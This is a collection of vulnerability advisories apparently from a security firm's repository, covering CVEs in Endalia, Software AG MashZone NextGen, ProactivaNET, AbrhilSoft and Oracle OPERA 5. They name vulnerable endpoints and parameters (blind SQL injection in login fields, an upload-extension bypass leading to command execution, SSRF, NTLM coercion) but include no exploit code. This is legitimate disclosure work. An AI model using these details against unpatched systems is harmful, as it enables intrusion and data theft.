10 | 11 | 12 | ## Summary 13 | 14 | Endalia Selection Portal (< 4.205.0) is prone to an authenticated Insecure Direct Object Reference (IDOR). 15 | 16 | ## Details 17 | 18 | An IDOR vulnerability allows any authenticated user to download private files uploaded by other users, by changing the value of the file identifier in a __CommonDownload__ request. 19 | 20 | ## Impact 21 | 22 | Sensitive user data such as bank details or identification documents are stored on this platform. An attacker could download them by registering a user account. 23 | 24 | ## Recommendation 25 | 26 | Update to a fixed version (=> 4.205.0). 27 | 28 | ## Timeline 29 | * 12/11/2020 - Vendor contact 30 | * 24/11/2020 - Release of fixed version 31 | * 18/02/2021 - Public disclosure 32 | 33 | 34 | # 35 | 36 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 37 | -------------------------------------------------------------------------------- /2021/CVE-2021-33207/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-33207: Remote Code Execution (Java Deserialization) 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-High-green?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Software AG
5 | __Vendor URL:__ https://www.softwareag.com/corporate/products/az/mashzone_nextgen/default
6 | __Versions affected:__ MashZone NextGen 10.7 GA | Build 1607 (Vendor did not provide data about other affected versions)
7 | __Discovered by:__ Marcos Díaz
8 | __Public fix:__ No
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | MashZone NextGen 10.7 GA | Build 1607 and likely other/older versions, are affected by an insecure Java Object deserialization. 15 | 16 | ## Details 17 | 18 | The method `errorResponse` from the class `com.idsscheer.ppmmashup.io.util.ZHttpRequestHelper` performs an insecure Java deserialization from the body of a special crafted HTTP answer. 19 | 20 | ## Impact 21 | 22 | Command execution can be achieved forcing the application to make a HTTP request to a server controlled by an attacker. 23 | 24 | ## Recommendation 25 | Make sure you have changed the default administrative credentials. At this point we do not have information about a fix from Software AG. 26 | 27 | ## Timeline 28 | * 19/05/2021 - Reported vulnerability to vendor 29 | * 31/08/2021 - A representative from Software AG asks for details 30 | * 30/03/2022 - Public Disclosure 31 | 32 | ------ 33 | 34 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 35 | -------------------------------------------------------------------------------- /2021/CVE-2021-33208/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-33208: XML External Entity (XXE) 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-High-green?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Software AG
5 | __Vendor URL:__ https://www.softwareag.com/corporate/products/az/mashzone_nextgen/default
6 | __Versions affected:__ MashZone NextGen 10.7 GA | Build 1607 (Vendor did not provide data about other affected versions)
7 | __Discovered by:__ Marcos Díaz
8 | __Public fix:__ No
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | MashZone NextGen 10.7 GA | Build 1607 and likely other/older versions, are affected by a XXE vulnerability. 15 | 16 | ## Details 17 | 18 | MashZone NextGen uses a XML file to setup a feature called "Ehcache". It is possible to include XML external entities in this file that are evaluated by the application's XML parser. 19 | 20 | ## Impact 21 | 22 | Leak of internal files / DoS / SSRF. 23 | 24 | ## Recommendation 25 | 26 | Make sure you have changed the default administrative credentials. At this point we do not have information about a fix from Software AG. 27 | 28 | ## Timeline 29 | 30 | * 19/05/2021 - Reported vulnerability to vendor 31 | * 31/08/2021 - A representative from Software AG asks for details 32 | * 30/03/2022 - Public Disclosure 33 | 34 | ------ 35 | 36 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 37 | -------------------------------------------------------------------------------- /2021/CVE-2021-33523/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-33523: Remote Code Execution (new JDBC driver) 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-High-green?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Software AG
5 | __Vendor URL:__ https://www.softwareag.com/corporate/products/az/mashzone_nextgen/default
6 | __Versions affected:__ MashZone NextGen 10.7 GA | Build 1607 (Vendor did not provide data about other affected versions)
7 | __Discovered by:__ Marcos Díaz
8 | __Public fix:__ No
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | MashZone NextGen 10.7 GA | Build 1607 and likely other/older versions, are affected by a remote code execution vulnerability. 15 | 16 | ## Details 17 | 18 | MashZone NextGen allows an administrator to install a new **JDBC driver**. This feature can be abused to execute arbitrary commands on the underlying host or deploy a webshell. 19 | 20 | ## Impact 21 | 22 | This vulnerability can be used to execute code in the server. 23 | 24 | ## Recommendation 25 | 26 | Make sure you have changed the default administrative credentials. At this point we do not have information about a fix from Software AG. 27 | 28 | ## Timeline 29 | * 19/05/2021 - Reported vulnerability to vendor 30 | * 31/08/2021 - A representative from Software AG asks for details 31 | * 30/03/2022 - Public Disclosure 32 | 33 | ------ 34 | 35 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 36 | -------------------------------------------------------------------------------- /2021/CVE-2021-33581/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-33581: Server Side Request Forgery (SSRF) 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-High-green?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Software AG
5 | __Vendor URL:__ https://www.softwareag.com/corporate/products/az/mashzone_nextgen/default
6 | __Versions affected:__ MashZone NextGen 10.7 GA | Build 1607 (Vendor did not provide data about other affected versions)
7 | __Discovered by:__ Marcos Díaz
8 | __Public fix:__ No
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | MashZone NextGen 10.7 GA | Build 1607 and likely other/older versions, are affected by a SSRF. 15 | 16 | ## Details 17 | 18 | The HTTP endpoint `/mashzone/mzservices/admin/getppmversion` parameter `url` performs HTTP connections to arbitrary URLs. 19 | 20 | ## Impact 21 | 22 | This vulnerability can be used in combination to **CVE-2021-33207** to achieve RCE. 23 | 24 | ## Recommendation 25 | Make sure you have changed the default administrative credentials. At this point we do not have information about a fix from Software AG. 26 | 27 | ## Timeline 28 | * 19/05/2021 - Reported vulnerability to vendor 29 | * 31/08/2021 - A representative from Software AG asks for details 30 | * 30/03/2022 - Public Disclosure 31 | 32 | ------ 33 | 34 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 35 | -------------------------------------------------------------------------------- /2022/CVE-2022-30977/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-30977: Remote Code Execution in ProactivaNET <= 10.14 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ ProactivaNET
5 | __Vendor URL:__ https://www.proactivanet.com/discovery-gestion-de-activos
6 | __Versions affected:__ ProactivaNET <= 10.14
7 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | ProactivaNET through 10.14 allows the unrestricted uploading of a Web.config file, resulting in OS command execution. 15 | 16 | ## Details 17 | 18 | The file upload functionality in the `/proactivanet/paw3/pages/insertImg/default.paw` endpoint does not properly validate the file extensions (other uploaders may be affected). It is possible to upload any file using capital letters for its extension, bypassing the blacklist. 19 | 20 | Even though script execution is disabled in the upload directory, a remote authenticated user can upload a Web.config file in order to execute arbitrary commands on the server. 21 | 22 | ## Impact 23 | 24 | Command execution can be achieved by uploading a Web.config file. 25 | 26 | ## Recommendation 27 | 28 | Update to the latest available version of the software. 29 | 30 | ## Timeline 31 | * 20/04/2022 - Reported vulnerability to vendor 32 | * 05/05/2022 - Meeting with the ProactivaNET team to explain the details 33 | * 16/08/2022 - Public Disclosure 34 | 35 | ------ 36 | 37 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 38 | 39 | -------------------------------------------------------------------------------- /2022/CVE-2022-30978/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-30978: SQL injection in ProactivaNET <= 10.14 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ ProactivaNET
5 | __Vendor URL:__ https://www.proactivanet.com/discovery-gestion-de-activos
6 | __Versions affected:__ ProactivaNET <= 10.14
7 | __Discovered by:__ Guillermo Torre
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | ProactivaNET through 10.14 is prone to unauthenticated SQL Injection. 15 | 16 | ## Details 17 | 18 | The `pawLoginFormUserName` parameter in the ProactivaNET login request to the `/proactivanet/portal/ui/loginform/default.paw` endpoint is prone to a blind SQL injection. 19 | 20 | ## Impact 21 | 22 | This could lead to platform compromise, by bypassing authentication. 23 | 24 | ## Recommendation 25 | Update to the latest available version of the software. 26 | 27 | ## Timeline 28 | * 20/04/2022 - Reported vulnerability to vendor 29 | * 05/05/2022 - Meeting with the ProactivaNET team to explain the details 30 | * 16/08/2022 - Public Disclosure 31 | 32 | ------ 33 | 34 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 35 | 36 | 37 | -------------------------------------------------------------------------------- /2022/CVE-2022-43216/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-43216: AbrhilSoft Employee's Portal SQL Injection 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ ABRL SISTEMAS & PROYECTOS
5 | __Vendor URL:__ https://abrhil.com/
6 | __Versions affected:__ AbrhilSoft Employee's Portal "Lista de asistencia" <= ABR-MX-5.6.2
7 | __Discovered by:__ Antón Ortigueira ([@antuache](https://twitter.com/antuache))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | AbrhilSoft Employee's Portal before v5.6.2 was discovered to contain a SQL injection vulnerability in the login page. 15 | 16 | ## Details 17 | 18 | The `clave` parameter included in the login request to the endpoint `/login/acceso` is prone to a blind SQL injection. 19 | 20 | ## Impact 21 | 22 | This could potentially result in the compromise of the platform due to the bypass of authentication mechanisms. 23 | 24 | ## Recommendation 25 | 26 | Update to the latest available version of the software. 27 | 28 | ## Timeline 29 | * 11/10/2022 - Reported vulnerability to vendor 30 | * 04/04/2024 - Public Disclosure 31 | 32 | ------ 33 | 34 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 35 | 36 | -------------------------------------------------------------------------------- /2024/CVE-2024-21172/Readme.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-21172: CREDENTIAL EXFILTRATION VIA SMB 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-No-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Oracle Hospitality OPERA 5
5 | __Vendor URL:__ https://www.oracle.com/es/hospitality/products/opera-property-services/
6 | __Versions affected:__ 5.6.19.19, 5.6.25.8, 5.6.26.4
7 | __Discovered by:__ Marcos Díaz
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | 14 | Oracle Hospitality OPERA 5 versions 5.6.19.19, 5.6.25.8, 5.6.26.4, are affected by a coerce auth NTLM vulnerability via a HTTP request. 15 | 16 | ## Details 17 | 18 | The servlet `com.micros.opera.servlet.FileInfo` (**operainternalservlets.war**) can be used to coerce a NTLM authentication against an arbitrary SMB server using UNC paths. 19 | 20 | ## Impact 21 | 22 | Successful attacks of this vulnerability can result in takeover of Oracle Hospitality OPERA 5. 23 | 24 | ## Recommendation 25 | 26 | Update Oracle Hospitality OPERA 5. 27 | 28 | ## Timeline 29 | 30 | * 04/02/2024 - Vulnerability report to vendor 31 | * 15/10/2024 - Public Disclosure 32 | 33 | ------ 34 | 35 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 BlackArrow 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Alt text](logo.png "BlackArrow") 2 | 3 |
4 | 5 | # Advisories & Proofs of Concept 6 | Our researchers at __BlackArrow__ often discover new and interesting vulnerabilities. In this repo we collect all of them, providing technical details and PoCs to replicate easily their findings. 7 | 8 | ## License 9 | 10 | All the code included in this project is licensed under the terms of the MIT license. 11 |

12 | 13 | # 14 | 15 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 16 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackarrowsec/advisories/91d2aaa3eee5b7984aaefe3c7f052e905a9ed4f9/logo.png --------------------------------------------------------------------------------